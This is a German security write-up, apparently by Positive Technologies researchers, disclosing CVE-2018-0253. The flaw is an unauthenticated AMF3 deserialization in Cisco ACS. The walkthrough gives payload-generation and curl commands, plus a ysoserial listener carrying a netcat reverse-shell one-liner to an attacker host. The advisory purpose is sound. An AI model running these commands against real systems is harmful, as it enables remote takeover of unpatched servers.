Gefährliches AMF3-Protokoll

Kürzlich hat Markus Wulftange von Code White eine interessante Studie darüber veröffentlicht, wie eine Webanwendung angegriffen werden kann, wenn sie in Java geschrieben ist und das AMF3-Protokoll verwendet. Dieses Protokoll befindet sich dort, wo Flash verwendet wird und ein Datenaustausch zwischen dem SWF-Objekt und dem Serverteil der Anwendung erforderlich ist. Mit dem Protokoll können Sie serialisierte Objekte vom Typ flash.utils.IExternalizable auf den Server übertragen. Diese serverseitigen Objekte werden deserialisiert, es erfolgt eine Typkonvertierung und flash.utils.IExternalizable wird zu java.io.Externalizable. Es ist erwähnenswert, dass die Klassen, die diese Schnittstelle selbst implementieren, die Prozesse ihrer eigenen Serialisierung und Deserialisierung vollständig steuern. Dies bedeutet, dass Sie versuchen können, eine Klasse zu finden, die bei Deserialisierung beliebigen Code ausführt.

Marcus untersuchte alle Klassen aus OpenJDK 8u121, die die Schnittstelle java.io.Externalizable implementieren, und stellte fest, dass sie die Klassen sun.rmi.server.UnicastRef und sun.rmi.server.UnicastRef2 enthalten, die sich auf den RMI-Mechanismus beziehen. Wenn Sie das Objekt einer dieser Klassen korrekt vorbereiten (mit einem Link zum Host des Angreifers initialisieren) und dann auf den anfälligen Server übertragen, registriert die Server-JVM den LiveRef-Link zum "Remote-Objekt". Danach versucht der Garbage Collection-Mechanismus, eine JRMP-Verbindung mit dem angegebenen Host herzustellen. Und wie Sie wissen, beinhaltet das JRMP-Protokoll den Austausch von serialisierten Java-Objekten. Dies kann verwendet werden, um Deserialisierungsangriffe auszuführen.



CVE-2018-0253 oder wie wir Cisco ACS gehackt haben


Einmal haben wir während eines unserer Tests Zugriff auf den Cisco ACS 5.8-Server erhalten. Gleichzeitig hatten wir die Möglichkeit, über eine Webschnittstelle eine Verbindung zu einem funktionierenden Server herzustellen. Bei der Analyse der Weboberfläche haben wir festgestellt, dass POST-Anforderungen mit AMF3-Objekten vom Client an den Server gesendet werden.



Später wurde festgestellt, dass der Server solche POST-Anforderungen ohne Autorisierung akzeptiert

Die HTTP-Antwortheader zeigten an, dass die Weboberfläche in Java implementiert war. Sie können also versuchen, einen Angriff auszuführen.

Laden Sie den ursprünglichen Exploit herunter und ändern Sie die Host- und Portvariablen. Stellen Sie beim Kompilieren sicher, dass CLASSPATH den Pfad zur Apache BlazeDS-Bibliothek enthält. Wenn Sie den kompilierten Code ausführen, wird ein AMF-Paket ausgegeben: ein serialisiertes Objekt der UnicastRef-Klasse, das durch eine LiveRef-Verbindung zu unserem Server initialisiert wird.

javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload 

Wir senden eine HTTP-Anfrage mit dem generierten AMF-Paket an Cisco ACS und sehen einen Verbindungsversuch.

 curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \ https://[IP  Cisco ACS]/acsview/messagebroker/amfsecure 



Dies geschah, weil eine anfällige Version der Apache BlazeDS-Bibliothek auf dem Server installiert war. Cisco ACS hat das AMF-Paket entpackt, das übergebene Objekt deserialisiert, und jetzt versucht der Garbage Collector, eine JRMP-Verbindung zu unserem Server herzustellen. Wenn Sie auf diese Anfrage mit einem RMI-Objekt antworten, deserialisiert Cisco ACS die empfangenen Daten und führt unseren Code aus.

Wir verwenden das Dienstprogramm ysoserial. Es fungiert als JRMP-Server: Beim Herstellen einer Verbindung erhält der Client ein Objekt aus der CommonsCollection1-Bibliothek, in dem sich ein Code zum Ausführen einer Reverse Shell befindet.

 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP   ] 80 >/tmp/f' 

Jetzt wiederholen wir das Senden des AMF-Pakets und erhalten die Reverse Shell:



Anstelle einer Schlussfolgerung


Die gefundene Sicherheitsanfälligkeit ermöglicht es einem nicht autorisierten Angreifer, beliebige Befehle eines privilegierten Benutzers auszuführen. Der Hersteller bewertete es mit 9,8 auf der CVSS-Skala . Wir empfehlen jedem, der diese Software verwendet, den neuesten Patch zu installieren.

Anfällige Software:

  • Cisco ACS <5.8.0.32.7 - anfällig, Autorisierung ist nicht erforderlich;
  • Cisco ACS 5.8.0.32.7, 5.8.0.32.8 - anfällig, Autorisierung erforderlich;
  • Ab Cisco ACS 5.8.0.32.9 ist die Sicherheitsanfälligkeit geschlossen.

Autoren : Mikhail Klyuchnikov und Yuri Aleinov, Positive Technologies

Source: https://habr.com/ru/post/de414657/


All Articles